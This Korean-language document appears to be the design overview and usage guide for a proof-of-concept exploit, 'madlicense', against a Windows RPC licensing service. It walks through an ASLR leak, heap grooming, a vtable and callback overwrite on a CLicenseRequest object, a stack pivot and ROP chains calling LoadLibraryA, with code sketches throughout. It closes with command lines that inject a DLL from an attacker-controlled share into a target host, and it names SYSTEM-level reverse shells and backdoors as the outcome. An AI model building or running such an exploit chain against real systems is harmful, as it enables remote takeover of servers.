┌─────────────────────────────────────────────────────────────────┐
│                      익스플로잇 체인                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG 인식)                        │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (오케스트레이터)                         │
    └───────────────────────────────────────────────────────────┘

# Pack/Unpack - 정수를 바이트로 또는 그 반대로 변환
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# 순환 패턴 - 크래시 오프셋 식별용
cyclic(100)          # De Bruijn 시퀀스 생성
cyclic_find(pattern, value)  # 값의 오프셋 찾기

# 정렬 - 메모리는 정렬되어야 함
align(0x1003, 0x10)  # → 0x1010 (16바이트로 정렬)

부팅 1:  ntdll.dll @ 0x7FFA12340000
부팅 2:  ntdll.dll @ 0x7FFB98760000
부팅 3:  ntdll.dll @ 0x7FFC55550000

class LeakInfo:
    """유출된 주소를 담는 컨테이너"""
    heap_base: int         # 힙 베이스
    ntdll_base: int        # ntdll.dll 베이스
    kernel32_base: int     # kernel32.dll 베이스
    # ...

class LeakProvider:
    """유출 소스 오케스트레이터"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # 각 소스를 성공할 때까지 시도

class VulnerableBuffer:
    """오버플로우가 발생할 버퍼"""
    allocation_size: int   # 할당된 크기
    write_size: int        # 기록될 크기
    overflow_amount: int   # 차이 = 오버플로우
    
    def calculate_overflow(input_size):
        # 계산 버그 시뮬레이션
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """손상될 객체(힙에서 인접)"""
    fields: List[StructField]
    has_vtable: bool       # 가상 테이블이 있는가?
    has_function_ptr: bool # 함수 포인터가 있는가?

# 리버스 엔지니어링 기반 가상 객체
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# 매핑된 필드
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        정확한 값을 가진 오버플로우 버퍼 구성
        
        레이아웃:
        [오프셋까지 PADDING] [제어된 값] [추가 데이터]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # 정확한 오프셋에 정확한 값 배치
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

# vtable 덮어쓰기
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# 콜백 덮어쓰기
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

그루밍 전:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
무작위 할당, 예측 불가능한 구멍

그루밍 후:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
제어된 레이아웃, 원하는 위치에 "구멍"

class HeapLayoutController:
    def execute_full_groom(self):
        # 1단계: 기존 구멍 채우기
        self.phase_fill(50)
        
        # 2단계: 대상 버킷의 LFH 활성화
        # (Windows는 동일 크기 할당 약 17회 후 LFH 활성화)
        self.phase_activate_lfh()
        
        # 3단계: 스프레이 - 조밀한 패턴 생성
        sprayed = self.phase_spray(200)
        
        # 4단계: 전략적 구멍 만들기
        # N개 할당마다 해제
        self.phase_create_holes(sprayed, interval=4)
        
        # 5단계: 안정화
        self.phase_stabilize()

현재 상태:
- 메모리 손상됨 ✓
- 악의적인 값 기록됨 ✓
- 하지만 아무도 그 값을 **사용**하지 않음!

class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# 구현된 전략:

class SecondRequestTrigger:
    """손상된 객체를 사용하는 두 번째 RPC 호출"""

class DestructorTrigger:
    """연결 해제 - 손상된 포인터를 사용하는 정리 강제"""

class TimerTrigger:
    """내부 타이머가 손상된 상태를 처리하도록 대기"""

1. 첫 번째 RPC 호출 → 손상 발생
2. 연결 해제(트리거) → 서버가 소멸자 호출
3. 소멸자가 손상된 vtable 읽기 → 우리 주소 호출
4. 제어된 실행!

class HijackMethod(Enum):
    VTABLE = 0       # 힙 오버플로우에서 가장 일반적
    FUNCTION_PTR = 1 # 콜백 포인터
    RETURN_ADDR = 2  # 스택 오버플로우(우리 경우 아님)

정상 객체:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 주소     │ ← 합법
│             │     │ method2 주소     │
└─────────────┘     └──────────────────┘

손상 후:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ 가젯 주소        │ ← 우리 것!
│             │     │ 가젯 주소        │
└─────────────┘     └──────────────────┘

method1이 호출될 때 → 우리 가젯 실행!

# RSP를 우리 ROP 체인이 있는 곳으로 바꾸는 가젯
xchg rax, rsp; ret  # RAX = 우리 주소 → RSP = 우리 주소

# 이제 "스택"은 우리가 제어하는 영역!
# 각 RET는 ROP 체인의 다음 가젯으로 점프

힙의 셸코드 → CRASH (access violation - execute)

가젯 1: pop rcx; ret    ← RCX에 값 넣기
가젯 2: pop rdx; ret    ← RDX에 값 넣기
가젯 3: call LoadLibraryA ← 함수 호출!

STACK/ROP 체인(우리가 제어하는 영역):
┌────────────────────┐
│ pop_rcx 주소       │ ← RSP가 여기 가리킴
├────────────────────┤
│ RCX 값             │ ← RCX로 "pop"됨
├────────────────────┤
│ pop_rdx 주소       │ ← RET가 여기로 감
├────────────────────┤
│ RDX 값             │
├────────────────────┤
│ LoadLibraryA 주소  │ ← 최종 호출!
└────────────────────┘

# DLL 로드(DLL 인젝션)
build_load_library(dll_path_addr) → ROP 체인

# 실행 가능한 메모리 할당
build_virtual_alloc(size) → ROP 체인 + RAX = RWX 주소

# 명령 실행
build_winexec(cmd_addr) → ROP 체인

class PayloadIntent(Enum):
    CRASH_TEST = 0    # 익스플로잇이 작동하는지 확인
    DLL_INJECT = 1    # 우리 DLL 로드
    COMMAND_EXEC = 2  # 명령 실행
    SHELLCODE = 3     # ROP를 통해 셸코드 실행

def build_dll_inject(dll_path: str) -> bytes:
    """
    최종 구조:
    
    ┌──────────────────────────────┐
    │ ROP 체인 (LoadLibraryA)     │ ← 먼저 실행
    ├──────────────────────────────┤
    │ 패딩                         │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← 경로 문자열
    └──────────────────────────────┘
    
    ROP 체인이 문자열 주소를 LoadLibraryA에 전달
    """

def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # 필수
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # 필수
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # 더 많은 스프레이

┌─────────────────────────────────────────────────────────────────┐
│                    익스플로잇 흐름                              │
└─────────────────────────────────────────────────────────────────┘

   1단계: LEAK (ASLR 우회)
   ├─ 메모리 주소 획득
   ├─ 입력: 수동 또는 자동 유출
   └─ 출력: 모듈 베이스가 포함된 LeakInfo

             ↓

   2단계: ANALYZE (대상 매핑)
   ├─ 오버플로우 양 계산
   ├─ 인접 객체 식별
   └─ 손상 오프셋 결정

             ↓

   3단계: GROOM (힙 성형)
   ├─ 채우기 → LFH 활성화 → 스프레이 → 구멍
   ├─ 결정적 레이아웃 생성
   └─ 취약한 할당을 위한 "랜딩 존" 준비

             ↓

   4단계: PAYLOAD (구축)
   ├─ ROP 체인 구축
   ├─ 필요한 문자열/데이터 포함
   └─ 오버플로우 데이터와 결합

             ↓

   5단계: CORRUPT (오버플로우 트리거)
   ├─ 악성 RPC 호출 전송
   ├─ 오버플로우 발생
   └─ 대상 덮어쓰기 (vtable/콜백)

             ↓

   6단계: TRIGGER (사용 강제)
   ├─ 연결 해제 또는 두 번째 호출
   ├─ 손상된 포인터 사용 강제
   └─ 실행 하이재킹

             ↓

   7단계: EXECUTE (RCE)
   ├─ ROP 체인 실행
   ├─ LoadLibraryA가 DLL 로드
   └─ 임의 코드 실행 중!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  결과: SYSTEM 권한으로 리버스 셸, 백도어 등               │
   └─────────────────────────────────────────────────────────────┘

pip install impacket

# 서비스 실행 중인지 확인만
python -m madlicense.poc -t 10.0.0.5 --check

# 드라이 런(페이로드 전송 안 함, 모든 것 시뮬레이션)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# 완전한 DLL 인젝션
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# calc.exe 실행(고전적인 PoC)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000